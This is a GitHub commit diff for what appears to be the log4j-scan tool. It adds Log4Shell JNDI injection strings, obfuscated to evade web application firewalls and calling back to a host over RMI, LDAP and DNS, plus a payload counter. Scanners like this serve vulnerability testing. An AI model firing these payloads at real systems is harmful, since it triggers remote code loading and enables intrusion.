Merge pull request fullhunt#88 from zsecducna/master

Update waf bypasses and payload counter
psbachto · Dec 25, 2021 · f2f1105 · f2f1105
2 parents 59d2c2f + 23564b7
commit f2f1105
Showing 1 changed file with 6 additions and 1 deletion.
diff --git a/log4j-scan.py b/log4j-scan.py
@@ -52,11 +52,14 @@
 
 waf_bypass_payloads = ["${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://{{callback_host}}/{{random}}}",
                        "${${::-j}ndi:rmi://{{callback_host}}/{{random}}}",
+                       "${jndi:rmi://{{callback_host}}/{{random}}}",
                        "${jndi:rmi://{{callback_host}}}/",
                        "${${lower:jndi}:${lower:rmi}://{{callback_host}}/{{random}}}",
                        "${${lower:${lower:jndi}}:${lower:rmi}://{{callback_host}}/{{random}}}",
                        "${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://{{callback_host}}/{{random}}}",
                        "${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://{{callback_host}}/{{random}}}",
+                       "${jndi:dns://{{callback_host}}/{{random}}}",
+                       "${jnd${123%25ff:-${123%25ff:-i:}}ldap://{{callback_host}}/{{random}}}",
                        "${jndi:dns://{{callback_host}}}",
                        "${jndi:${lower:l}${lower:d}a${lower:p}://{{callback_host}}}",
                        "${jnd${upper:i}:ldap://{{callback_host}}/{{random}}}",
@@ -167,9 +170,11 @@ def get_fuzzing_post_data(payload):
 
 def generate_waf_bypass_payloads(callback_host, random_string):
     payloads = []
+    count = 0
     for i in waf_bypass_payloads:
+        count = count + 1
         new_payload = i.replace("{{callback_host}}", callback_host)
-        new_payload = new_payload.replace("{{random}}", random_string)
+        new_payload = new_payload.replace("{{random}}", f'{random_string}_{count}')
         payloads.append(new_payload)
     return payloads